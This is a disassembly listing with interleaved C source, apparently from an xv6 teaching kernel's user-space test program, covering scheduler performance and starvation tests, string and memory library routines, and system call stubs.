boolean test_performance_helper(int *npriority) {
6e0: 55 push %ebp
6e1: 89 e5 mov %esp,%ebp
6e3: 57 push %edi
6e4: 56 push %esi
6e5: 53 push %ebx
6e6: 83 ec 3c sub $0x3c,%esp
pid1 = fork();
6e9: e8 b2 04 00 00 call ba0 <fork>
if (pid1 > 0) {
6ee: 85 c0 test %eax,%eax
6f0: 7f 3e jg 730 <test_performance_helper+0x50>
6f2: bb 64 00 00 00 mov $0x64,%ebx
wait_stat(&status, &perf1);
6f7: 8d 7d d4 lea -0x2c(%ebp),%edi
6fa: 8d 75 d0 lea -0x30(%ebp),%esi
6fd: 8d 76 00 lea 0x0(%esi),%esi
pid = fork();
700: e8 9b 04 00 00 call ba0 <fork>
if (pid > 0) {
705: 85 c0 test %eax,%eax
707: 7e 4e jle 757 <test_performance_helper+0x77>
sleep(5);
709: c7 04 24 05 00 00 00 movl $0x5,(%esp)
710: e8 23 05 00 00 call c38 <sleep>
wait_stat(&status, &perf1);
715: 89 7c 24 04 mov %edi,0x4(%esp)
719: 89 34 24 mov %esi,(%esp)
71c: e8 3f 05 00 00 call c60 <wait_stat>
for (int a = 0; a < 100; ++a) {
721: 4b dec %ebx
722: 75 dc jne 700 <test_performance_helper+0x20>
exit(0);
724: c7 04 24 00 00 00 00 movl $0x0,(%esp)
72b: e8 78 04 00 00 call ba8 <exit>
wait_stat(&status1, &perf2);
730: 8d 5d d4 lea -0x2c(%ebp),%ebx
733: 8d 45 d0 lea -0x30(%ebp),%eax
736: 89 5c 24 04 mov %ebx,0x4(%esp)
73a: 89 04 24 mov %eax,(%esp)
73d: e8 1e 05 00 00 call c60 <wait_stat>
print_perf(&perf2);
742: 89 1c 24 mov %ebx,(%esp)
745: e8 16 fc ff ff call 360 <print_perf>
}
74a: 83 c4 3c add $0x3c,%esp
74d: b8 01 00 00 00 mov $0x1,%eax
752: 5b pop %ebx
753: 5e pop %esi
754: 5f pop %edi
755: 5d pop %ebp
756: c3 ret
if (npriority)
757: 8b 45 08 mov 0x8(%ebp),%eax
75a: 85 c0 test %eax,%eax
75c: 74 0d je 76b <test_performance_helper+0x8b>
priority(*npriority);
75e: 8b 45 08 mov 0x8(%ebp),%eax
761: 8b 00 mov (%eax),%eax
763: 89 04 24 mov %eax,(%esp)
766: e8 ed 04 00 00 call c58 <priority>
sleep(5);
76b: c7 04 24 05 00 00 00 movl $0x5,(%esp)
772: e8 c1 04 00 00 call c38 <sleep>
exit(0);
777: c7 04 24 00 00 00 00 movl $0x0,(%esp)
77e: e8 25 04 00 00 call ba8 <exit>
783: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
789: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000790 <test_performance_round_robin>:
boolean test_performance_round_robin() {
790: 55 push %ebp
791: 89 e5 mov %esp,%ebp
793: 83 ec 18 sub $0x18,%esp
return test_performance_helper(null);
796: c7 04 24 00 00 00 00 movl $0x0,(%esp)
79d: e8 3e ff ff ff call 6e0 <test_performance_helper>
}
7a2: c9 leave
7a3: c3 ret
7a4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
7aa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
000007b0 <test_performance_priority>:
boolean test_performance_priority() {
7b0: 55 push %ebp
7b1: 89 e5 mov %esp,%ebp
7b3: 83 ec 38 sub $0x38,%esp
policy(PRIORITY);
7b6: c7 04 24 02 00 00 00 movl $0x2,(%esp)
7bd: e8 8e 04 00 00 call c50 <policy>
boolean result = test_performance_helper(&npriority);
7c2: 8d 45 f4 lea -0xc(%ebp),%eax
7c5: 89 04 24 mov %eax,(%esp)
int npriority = 2;
7c8: c7 45 f4 02 00 00 00 movl $0x2,-0xc(%ebp)
boolean result = test_performance_helper(&npriority);
7cf: e8 0c ff ff ff call 6e0 <test_performance_helper>
policy(ROUND_ROBIN);
7d4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
boolean result = test_performance_helper(&npriority);
7db: 89 45 e4 mov %eax,-0x1c(%ebp)
policy(ROUND_ROBIN);
7de: e8 6d 04 00 00 call c50 <policy>
}
7e3: 8b 45 e4 mov -0x1c(%ebp),%eax
7e6: c9 leave
7e7: c3 ret
7e8: 90 nop
7e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000007f0 <test_performance_extended_priority>:
boolean test_performance_extended_priority() {
7f0: 55 push %ebp
7f1: 89 e5 mov %esp,%ebp
7f3: 83 ec 38 sub $0x38,%esp
policy(EXTENED_PRIORITY);
7f6: c7 04 24 03 00 00 00 movl $0x3,(%esp)
7fd: e8 4e 04 00 00 call c50 <policy>
boolean result = test_performance_helper(&npriority);
802: 8d 45 f4 lea -0xc(%ebp),%eax
805: 89 04 24 mov %eax,(%esp)
int npriority = 0;
808: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
boolean result = test_performance_helper(&npriority);
80f: e8 cc fe ff ff call 6e0 <test_performance_helper>
policy(ROUND_ROBIN);
814: c7 04 24 01 00 00 00 movl $0x1,(%esp)
boolean result = test_performance_helper(&npriority);
81b: 89 45 e4 mov %eax,-0x1c(%ebp)
policy(ROUND_ROBIN);
81e: e8 2d 04 00 00 call c50 <policy>
}
823: 8b 45 e4 mov -0x1c(%ebp),%eax
826: c9 leave
827: c3 ret
828: 90 nop
829: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000830 <test_starvation_helper>:
boolean test_starvation_helper(int npolicy, int npriority) {
830: 55 push %ebp
831: 89 e5 mov %esp,%ebp
833: 57 push %edi
834: 56 push %esi
memset(&pid_arr, 0, nProcs * sizeof(int));
835: 31 f6 xor %esi,%esi
boolean test_starvation_helper(int npolicy, int npriority) {
837: 53 push %ebx
memset(&pid_arr, 0, nProcs * sizeof(int));
838: bb 28 00 00 00 mov $0x28,%ebx
boolean test_starvation_helper(int npolicy, int npriority) {
83d: 83 ec 5c sub $0x5c,%esp
policy(npolicy);
840: 8b 45 08 mov 0x8(%ebp),%eax
843: 89 04 24 mov %eax,(%esp)
846: e8 05 04 00 00 call c50 <policy>
memset(&pid_arr, 0, nProcs * sizeof(int));
84b: 89 5c 24 08 mov %ebx,0x8(%esp)
84f: 8d 5d c0 lea -0x40(%ebp),%ebx
852: 89 74 24 04 mov %esi,0x4(%esp)
856: 89 df mov %ebx,%edi
858: 89 1c 24 mov %ebx,(%esp)
85b: 8d 75 e8 lea -0x18(%ebp),%esi
85e: e8 ad 01 00 00 call a10 <memset>
863: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
869: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
pid = fork();
870: e8 2b 03 00 00 call ba0 <fork>
if (pid < 0) {
875: 85 c0 test %eax,%eax
877: 78 0f js 888 <test_starvation_helper+0x58>
} else if (pid == 0) {
879: 0f 84 a1 00 00 00 je 920 <test_starvation_helper+0xf0>
pid_arr[i] = pid;
87f: 89 07 mov %eax,(%edi)
881: 83 c7 04 add $0x4,%edi
for (int i = 0; i < nProcs; ++i) {
884: 39 f7 cmp %esi,%edi
886: 75 e8 jne 870 <test_starvation_helper+0x40>
sleep(100);
888: c7 04 24 64 00 00 00 movl $0x64,(%esp)
boolean result = true;
88f: bf 01 00 00 00 mov $0x1,%edi
sleep(100);
894: e8 9f 03 00 00 call c38 <sleep>
899: eb 18 jmp 8b3 <test_starvation_helper+0x83>
89b: 90 nop
89c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
wait(null);
8a0: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8a7: e8 04 03 00 00 call bb0 <wait>
8ac: 83 c3 04 add $0x4,%ebx
for (int j = 0; j < nProcs; ++j) {
8af: 39 de cmp %ebx,%esi
8b1: 74 4d je 900 <test_starvation_helper+0xd0>
if (pid_arr[j] != 0) {
8b3: 8b 03 mov (%ebx),%eax
8b5: 85 c0 test %eax,%eax
8b7: 74 f3 je 8ac <test_starvation_helper+0x7c>
result = result && assert_equals(0, kill(pid_arr[j]), "failed to kill child (yes it does sound horrible)");
8b9: 85 ff test %edi,%edi
8bb: 74 e3 je 8a0 <test_starvation_helper+0x70>
8bd: 89 04 24 mov %eax,(%esp)
8c0: bf 01 00 00 00 mov $0x1,%edi
8c5: e8 0e 03 00 00 call bd8 <kill>
if (expected != actual) {
8ca: 85 c0 test %eax,%eax
8cc: 74 d2 je 8a0 <test_starvation_helper+0x70>
printf(2, "Assert %s failed: expected %d but got %d\n", msg, expected, actual);
8ce: 89 44 24 10 mov %eax,0x10(%esp)
8d2: ba 64 12 00 00 mov $0x1264,%edx
8d7: 31 c0 xor %eax,%eax
8d9: b9 b8 11 00 00 mov $0x11b8,%ecx
result = result && assert_equals(0, kill(pid_arr[j]), "failed to kill child (yes it does sound horrible)");
8de: 31 ff xor %edi,%edi
printf(2, "Assert %s failed: expected %d but got %d\n", msg, expected, actual);
8e0: 89 44 24 0c mov %eax,0xc(%esp)
8e4: 89 54 24 08 mov %edx,0x8(%esp)
8e8: 89 4c 24 04 mov %ecx,0x4(%esp)
8ec: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8f3: e8 18 04 00 00 call d10 <printf>
8f8: eb a6 jmp 8a0 <test_starvation_helper+0x70>
8fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
policy(ROUND_ROBIN);
900: c7 04 24 01 00 00 00 movl $0x1,(%esp)
907: e8 44 03 00 00 call c50 <policy>
}
90c: 83 c4 5c add $0x5c,%esp
90f: 89 f8 mov %edi,%eax
911: 5b pop %ebx
912: 5e pop %esi
913: 5f pop %edi
914: 5d pop %ebp
915: c3 ret
916: 8d 76 00 lea 0x0(%esi),%esi
919: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
sleep(5);
920: c7 04 24 05 00 00 00 movl $0x5,(%esp)
927: e8 0c 03 00 00 call c38 <sleep>
priority(npriority);
92c: 8b 45 0c mov 0xc(%ebp),%eax
92f: 89 04 24 mov %eax,(%esp)
932: e8 21 03 00 00 call c58 <priority>
937: eb fe jmp 937 <test_starvation_helper+0x107>
939: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000940 <test_accumulator>:
boolean test_accumulator() {
940: 55 push %ebp
return test_starvation_helper(PRIORITY, 2);
941: b8 02 00 00 00 mov $0x2,%eax
boolean test_accumulator() {
946: 89 e5 mov %esp,%ebp
948: 83 ec 18 sub $0x18,%esp
return test_starvation_helper(PRIORITY, 2);
94b: 89 44 24 04 mov %eax,0x4(%esp)
94f: c7 04 24 02 00 00 00 movl $0x2,(%esp)
956: e8 d5 fe ff ff call 830 <test_starvation_helper>
}
95b: c9 leave
95c: c3 ret
95d: 8d 76 00 lea 0x0(%esi),%esi
00000960 <test_starvation>:
boolean test_starvation() {
960: 55 push %ebp
return test_starvation_helper(EXTENED_PRIORITY, 0);
961: 31 c0 xor %eax,%eax
boolean test_starvation() {
963: 89 e5 mov %esp,%ebp
965: 83 ec 18 sub $0x18,%esp
return test_starvation_helper(EXTENED_PRIORITY, 0);
968: 89 44 24 04 mov %eax,0x4(%esp)
96c: c7 04 24 03 00 00 00 movl $0x3,(%esp)
973: e8 b8 fe ff ff call 830 <test_starvation_helper>
}
978: c9 leave
979: c3 ret
97a: 66 90 xchg %ax,%ax
97c: 66 90 xchg %ax,%ax
97e: 66 90 xchg %ax,%ax
00000980 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
980: 55 push %ebp
981: 89 e5 mov %esp,%ebp
983: 8b 45 08 mov 0x8(%ebp),%eax
986: 8b 4d 0c mov 0xc(%ebp),%ecx
989: 53 push %ebx
char *os;
os = s;
while((*s++ = *t++) != 0)
98a: 89 c2 mov %eax,%edx
98c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
990: 41 inc %ecx
991: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
995: 42 inc %edx
996: 84 db test %bl,%bl
998: 88 5a ff mov %bl,-0x1(%edx)
99b: 75 f3 jne 990 <strcpy+0x10>
;
return os;
}
99d: 5b pop %ebx
99e: 5d pop %ebp
99f: c3 ret
000009a0 <strcmp>:
int
strcmp(const char *p, const char *q)
{
9a0: 55 push %ebp
9a1: 89 e5 mov %esp,%ebp
9a3: 8b 4d 08 mov 0x8(%ebp),%ecx
9a6: 53 push %ebx
9a7: 8b 5d 0c mov 0xc(%ebp),%ebx
while(*p && *p == *q)
9aa: 0f b6 01 movzbl (%ecx),%eax
9ad: 0f b6 13 movzbl (%ebx),%edx
9b0: 84 c0 test %al,%al
9b2: 75 18 jne 9cc <strcmp+0x2c>
9b4: eb 22 jmp 9d8 <strcmp+0x38>
9b6: 8d 76 00 lea 0x0(%esi),%esi
9b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
9c0: 41 inc %ecx
while(*p && *p == *q)
9c1: 0f b6 01 movzbl (%ecx),%eax
p++, q++;
9c4: 43 inc %ebx
9c5: 0f b6 13 movzbl (%ebx),%edx
while(*p && *p == *q)
9c8: 84 c0 test %al,%al
9ca: 74 0c je 9d8 <strcmp+0x38>
9cc: 38 d0 cmp %dl,%al
9ce: 74 f0 je 9c0 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
}
9d0: 5b pop %ebx
return (uchar)*p - (uchar)*q;
9d1: 29 d0 sub %edx,%eax
}
9d3: 5d pop %ebp
9d4: c3 ret
9d5: 8d 76 00 lea 0x0(%esi),%esi
9d8: 5b pop %ebx
9d9: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
9db: 29 d0 sub %edx,%eax
}
9dd: 5d pop %ebp
9de: c3 ret
9df: 90 nop
000009e0 <strlen>:
uint
strlen(const char *s)
{
9e0: 55 push %ebp
9e1: 89 e5 mov %esp,%ebp
9e3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
9e6: 80 39 00 cmpb $0x0,(%ecx)
9e9: 74 15 je a00 <strlen+0x20>
9eb: 31 d2 xor %edx,%edx
9ed: 8d 76 00 lea 0x0(%esi),%esi
9f0: 42 inc %edx
9f1: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
9f5: 89 d0 mov %edx,%eax
9f7: 75 f7 jne 9f0 <strlen+0x10>
;
return n;
}
9f9: 5d pop %ebp
9fa: c3 ret
9fb: 90 nop
9fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(n = 0; s[n]; n++)
a00: 31 c0 xor %eax,%eax
}
a02: 5d pop %ebp
a03: c3 ret
a04: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
a0a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000a10 <memset>:
void*
memset(void *dst, int c, uint n)
{
a10: 55 push %ebp
a11: 89 e5 mov %esp,%ebp
a13: 8b 55 08 mov 0x8(%ebp),%edx
a16: 57 push %edi
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
a17: 8b 4d 10 mov 0x10(%ebp),%ecx
a1a: 8b 45 0c mov 0xc(%ebp),%eax
a1d: 89 d7 mov %edx,%edi
a1f: fc cld
a20: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
a22: 5f pop %edi
a23: 89 d0 mov %edx,%eax
a25: 5d pop %ebp
a26: c3 ret
a27: 89 f6 mov %esi,%esi
a29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000a30 <strchr>:
char*
strchr(const char *s, char c)
{
a30: 55 push %ebp
a31: 89 e5 mov %esp,%ebp
a33: 8b 45 08 mov 0x8(%ebp),%eax
a36: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for(; *s; s++)
a3a: 0f b6 10 movzbl (%eax),%edx
a3d: 84 d2 test %dl,%dl
a3f: 74 1b je a5c <strchr+0x2c>
if(*s == c)
a41: 38 d1 cmp %dl,%cl
a43: 75 0f jne a54 <strchr+0x24>
a45: eb 17 jmp a5e <strchr+0x2e>
a47: 89 f6 mov %esi,%esi
a49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
a50: 38 ca cmp %cl,%dl
a52: 74 0a je a5e <strchr+0x2e>
for(; *s; s++)
a54: 40 inc %eax
a55: 0f b6 10 movzbl (%eax),%edx
a58: 84 d2 test %dl,%dl
a5a: 75 f4 jne a50 <strchr+0x20>
return (char*)s;
return 0;
a5c: 31 c0 xor %eax,%eax
}
a5e: 5d pop %ebp
a5f: c3 ret
00000a60 <gets>:
char*
gets(char *buf, int max)
{
a60: 55 push %ebp
a61: 89 e5 mov %esp,%ebp
a63: 57 push %edi
a64: 56 push %esi
int i, cc;
char c;
for(i=0; i+1 < max; ){
a65: 31 f6 xor %esi,%esi
{
a67: 53 push %ebx
a68: 83 ec 3c sub $0x3c,%esp
a6b: 8b 5d 08 mov 0x8(%ebp),%ebx
cc = read(0, &c, 1);
a6e: 8d 7d e7 lea -0x19(%ebp),%edi
for(i=0; i+1 < max; ){
a71: eb 32 jmp aa5 <gets+0x45>
a73: 90 nop
a74: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
cc = read(0, &c, 1);
a78: ba 01 00 00 00 mov $0x1,%edx
a7d: 89 54 24 08 mov %edx,0x8(%esp)
a81: 89 7c 24 04 mov %edi,0x4(%esp)
a85: c7 04 24 00 00 00 00 movl $0x0,(%esp)
a8c: e8 2f 01 00 00 call bc0 <read>
if(cc < 1)
a91: 85 c0 test %eax,%eax
a93: 7e 19 jle aae <gets+0x4e>
break;
buf[i++] = c;
a95: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
a99: 43 inc %ebx
a9a: 88 43 ff mov %al,-0x1(%ebx)
if(c == '\n' || c == '\r')
a9d: 3c 0a cmp $0xa,%al
a9f: 74 1f je ac0 <gets+0x60>
aa1: 3c 0d cmp $0xd,%al
aa3: 74 1b je ac0 <gets+0x60>
for(i=0; i+1 < max; ){
aa5: 46 inc %esi
aa6: 3b 75 0c cmp 0xc(%ebp),%esi
aa9: 89 5d d4 mov %ebx,-0x2c(%ebp)
aac: 7c ca jl a78 <gets+0x18>
break;
}
buf[i] = '\0';
aae: 8b 45 d4 mov -0x2c(%ebp),%eax
ab1: c6 00 00 movb $0x0,(%eax)
return buf;
}
ab4: 8b 45 08 mov 0x8(%ebp),%eax
ab7: 83 c4 3c add $0x3c,%esp
aba: 5b pop %ebx
abb: 5e pop %esi
abc: 5f pop %edi
abd: 5d pop %ebp
abe: c3 ret
abf: 90 nop
ac0: 8b 45 08 mov 0x8(%ebp),%eax
ac3: 01 c6 add %eax,%esi
ac5: 89 75 d4 mov %esi,-0x2c(%ebp)
ac8: eb e4 jmp aae <gets+0x4e>
aca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000ad0 <stat>:
int
stat(const char *n, struct stat *st)
{
ad0: 55 push %ebp
int fd;
int r;
fd = open(n, O_RDONLY);
ad1: 31 c0 xor %eax,%eax
{
ad3: 89 e5 mov %esp,%ebp
ad5: 83 ec 18 sub $0x18,%esp
fd = open(n, O_RDONLY);
ad8: 89 44 24 04 mov %eax,0x4(%esp)
adc: 8b 45 08 mov 0x8(%ebp),%eax
{
adf: 89 5d f8 mov %ebx,-0x8(%ebp)
ae2: 89 75 fc mov %esi,-0x4(%ebp)
fd = open(n, O_RDONLY);
ae5: 89 04 24 mov %eax,(%esp)
ae8: e8 fb 00 00 00 call be8 <open>
if(fd < 0)
aed: 85 c0 test %eax,%eax
aef: 78 2f js b20 <stat+0x50>
af1: 89 c3 mov %eax,%ebx
return -1;
r = fstat(fd, st);
af3: 8b 45 0c mov 0xc(%ebp),%eax
af6: 89 1c 24 mov %ebx,(%esp)
af9: 89 44 24 04 mov %eax,0x4(%esp)
afd: e8 fe 00 00 00 call c00 <fstat>
close(fd);
b02: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
b05: 89 c6 mov %eax,%esi
close(fd);
b07: e8 c4 00 00 00 call bd0 <close>
return r;
}
b0c: 89 f0 mov %esi,%eax
b0e: 8b 5d f8 mov -0x8(%ebp),%ebx
b11: 8b 75 fc mov -0x4(%ebp),%esi
b14: 89 ec mov %ebp,%esp
b16: 5d pop %ebp
b17: c3 ret
b18: 90 nop
b19: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
b20: be ff ff ff ff mov $0xffffffff,%esi
b25: eb e5 jmp b0c <stat+0x3c>
b27: 89 f6 mov %esi,%esi
b29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000b30 <atoi>:
int
atoi(const char *s)
{
b30: 55 push %ebp
b31: 89 e5 mov %esp,%ebp
b33: 8b 4d 08 mov 0x8(%ebp),%ecx
b36: 53 push %ebx
int n;
n = 0;
while('0' <= *s && *s <= '9')
b37: 0f be 11 movsbl (%ecx),%edx
b3a: 88 d0 mov %dl,%al
b3c: 2c 30 sub $0x30,%al
b3e: 3c 09 cmp $0x9,%al
n = 0;
b40: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
b45: 77 1e ja b65 <atoi+0x35>
b47: 89 f6 mov %esi,%esi
b49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
b50: 41 inc %ecx
b51: 8d 04 80 lea (%eax,%eax,4),%eax
b54: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
b58: 0f be 11 movsbl (%ecx),%edx
b5b: 88 d3 mov %dl,%bl
b5d: 80 eb 30 sub $0x30,%bl
b60: 80 fb 09 cmp $0x9,%bl
b63: 76 eb jbe b50 <atoi+0x20>
return n;
}
b65: 5b pop %ebx
b66: 5d pop %ebp
b67: c3 ret
b68: 90 nop
b69: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000b70 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
b70: 55 push %ebp
b71: 89 e5 mov %esp,%ebp
b73: 56 push %esi
b74: 8b 45 08 mov 0x8(%ebp),%eax
b77: 53 push %ebx
b78: 8b 5d 10 mov 0x10(%ebp),%ebx
b7b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
b7e: 85 db test %ebx,%ebx
b80: 7e 1a jle b9c <memmove+0x2c>
b82: 31 d2 xor %edx,%edx
b84: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
b8a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
*dst++ = *src++;
b90: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
b94: 88 0c 10 mov %cl,(%eax,%edx,1)
b97: 42 inc %edx
while(n-- > 0)
b98: 39 d3 cmp %edx,%ebx
b9a: 75 f4 jne b90 <memmove+0x20>
return vdst;
}
b9c: 5b pop %ebx
b9d: 5e pop %esi
b9e: 5d pop %ebp
b9f: c3 ret
00000ba0 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
ba0: b8 01 00 00 00 mov $0x1,%eax
ba5: cd 40 int $0x40
ba7: c3 ret
00000ba8 <exit>:
SYSCALL(exit)
ba8: b8 02 00 00 00 mov $0x2,%eax
bad: cd 40 int $0x40
baf: c3 ret
00000bb0 <wait>:
SYSCALL(wait)
bb0: b8 03 00 00 00 mov $0x3,%eax
bb5: cd 40 int $0x40
bb7: c3 ret
00000bb8 <pipe>:
SYSCALL(pipe)
bb8: b8 04 00 00 00 mov $0x4,%eax
bbd: cd 40 int $0x40
bbf: c3 ret
00000bc0 <read>:
SYSCALL(read)
bc0: b8 05 00 00 00 mov $0x5,%eax
bc5: cd 40 int $0x40
bc7: c3 ret
00000bc8 <write>:
SYSCALL(write)
bc8: b8 10 00 00 00 mov $0x10,%eax
bcd: cd 40 int $0x40
bcf: c3 ret
00000bd0 <close>:
SYSCALL(close)
bd0: b8 15 00 00 00 mov $0x15,%eax
bd5: cd 40 int $0x40
bd7: c3 ret
00000bd8 <kill>:
SYSCALL(kill)
bd8: b8 06 00 00 00 mov $0x6,%eax
bdd: cd 40 int $0x40
bdf: c3 ret
00000be0 <exec>:
SYSCALL(exec)
be0: b8 07 00 00 00 mov $0x7,%eax
be5: cd 40 int $0x40
be7: c3 ret
00000be8 <open>:
SYSCALL(open)
be8: b8 0f 00 00 00 mov $0xf,%eax
bed: cd 40 int $0x40
bef: c3 ret
00000bf0 <mknod>:
SYSCALL(mknod)
bf0: b8 11 00 00 00 mov $0x11,%eax
bf5: cd 40 int $0x40
bf7: c3 ret
00000bf8 <unlink>:
SYSCALL(unlink)
bf8: b8 12 00 00 00 mov $0x12,%eax
bfd: cd 40 int $0x40
bff: c3 ret
00000c00 <fstat>:
SYSCALL(fstat)
c00: b8 08 00 00 00 mov $0x8,%eax
c05: cd 40 int $0x40
c07: c3 ret
00000c08 <link>:
SYSCALL(link)
c08: b8 13 00 00 00 mov $0x13,%eax
c0d: cd 40 int $0x40
c0f: c3 ret
00000c10 <mkdir>:
SYSCALL(mkdir)
c10: b8 14 00 00 00 mov $0x14,%eax
c15: cd 40 int $0x40
c17: c3 ret
00000c18 <chdir>:
SYSCALL(chdir)
c18: b8 09 00 00 00 mov $0x9,%eax
c1d: cd 40 int $0x40
c1f: c3 ret
00000c20 <dup>:
SYSCALL(dup)
c20: b8 0a 00 00 00 mov $0xa,%eax
c25: cd 40 int $0x40
c27: c3 ret
00000c28 <getpid>:
SYSCALL(getpid)
c28: b8 0b 00 00 00 mov $0xb,%eax
c2d: cd 40 int $0x40
c2f: c3 ret
00000c30 <sbrk>:
SYSCALL(sbrk)
c30: b8 0c 00 00 00 mov $0xc,%eax
c35: cd 40 int $0x40
c37: c3 ret
00000c38 <sleep>:
SYSCALL(sleep)
c38: b8 0d 00 00 00 mov $0xd,%eax
c3d: cd 40 int $0x40
c3f: c3 ret
00000c40 <uptime>:
SYSCALL(uptime)
c40: b8 0e 00 00 00 mov $0xe,%eax
c45: cd 40 int $0x40
c47: c3 ret
00000c48 <detach>:
SYSCALL(detach)
c48: b8 16 00 00 00 mov $0x16,%eax
c4d: cd 40 int $0x40
c4f: c3 ret
00000c50 <policy>:
SYSCALL(policy)
c50: b8 17 00 00 00 mov $0x17,%eax
c55: cd 40 int $0x40
c57: c3 ret
00000c58 <priority>:
SYSCALL(priority)
c58: b8 18 00 00 00 mov $0x18,%eax
c5d: cd 40 int $0x40
c5f: c3 ret
00000c60 <wait_stat>:
SYSCALL(wait_stat)
c60: b8 19 00 00 00 mov $0x19,%eax
c65: cd 40 int $0x40
c67: c3 ret
c68: 66 90 xchg %ax,%ax
c6a: 66 90 xchg %ax,%ax
c6c: 66 90 xchg %ax,%ax
c6e: 66 90 xchg %ax,%ax
00000c70 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
c70: 55 push %ebp
c71: 89 e5 mov %esp,%ebp
c73: 57 push %edi
c74: 56 push %esi
c75: 53 push %ebx
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
c76: 89 d3 mov %edx,%ebx
c78: c1 eb 1f shr $0x1f,%ebx
{
c7b: 83 ec 4c sub $0x4c,%esp
if(sgn && xx < 0){
c7e: 84 db test %bl,%bl
{
c80: 89 45 c0 mov %eax,-0x40(%ebp)
c83: 89 d0 mov %edx,%eax
if(sgn && xx < 0){
c85: 74 79 je d00 <printint+0x90>
c87: f6 45 08 01 testb $0x1,0x8(%ebp)
c8b: 74 73 je d00 <printint+0x90>
neg = 1;
x = -xx;
c8d: f7 d8 neg %eax
neg = 1;
c8f: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
} else {
x = xx;
}
i = 0;
c96: 31 f6 xor %esi,%esi
c98: 8d 5d d7 lea -0x29(%ebp),%ebx
c9b: eb 05 jmp ca2 <printint+0x32>
c9d: 8d 76 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
ca0: 89 fe mov %edi,%esi
ca2: 31 d2 xor %edx,%edx
ca4: f7 f1 div %ecx
ca6: 8d 7e 01 lea 0x1(%esi),%edi
ca9: 0f b6 92 a0 12 00 00 movzbl 0x12a0(%edx),%edx
}while((x /= base) != 0);
cb0: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
cb2: 88 14 3b mov %dl,(%ebx,%edi,1)
}while((x /= base) != 0);
cb5: 75 e9 jne ca0 <printint+0x30>
if(neg)
cb7: 8b 55 c4 mov -0x3c(%ebp),%edx
cba: 85 d2 test %edx,%edx
cbc: 74 08 je cc6 <printint+0x56>
buf[i++] = '-';
cbe: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
cc3: 8d 7e 02 lea 0x2(%esi),%edi
cc6: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi
cca: 8b 7d c0 mov -0x40(%ebp),%edi
ccd: 8d 76 00 lea 0x0(%esi),%esi
cd0: 0f b6 06 movzbl (%esi),%eax
cd3: 4e dec %esi
write(fd, &c, 1);
cd4: 89 5c 24 04 mov %ebx,0x4(%esp)
cd8: 89 3c 24 mov %edi,(%esp)
cdb: 88 45 d7 mov %al,-0x29(%ebp)
cde: b8 01 00 00 00 mov $0x1,%eax
ce3: 89 44 24 08 mov %eax,0x8(%esp)
ce7: e8 dc fe ff ff call bc8 <write>
while(--i >= 0)
cec: 39 de cmp %ebx,%esi
cee: 75 e0 jne cd0 <printint+0x60>
putc(fd, buf[i]);
}
cf0: 83 c4 4c add $0x4c,%esp
cf3: 5b pop %ebx
cf4: 5e pop %esi
cf5: 5f pop %edi
cf6: 5d pop %ebp
cf7: c3 ret
cf8: 90 nop
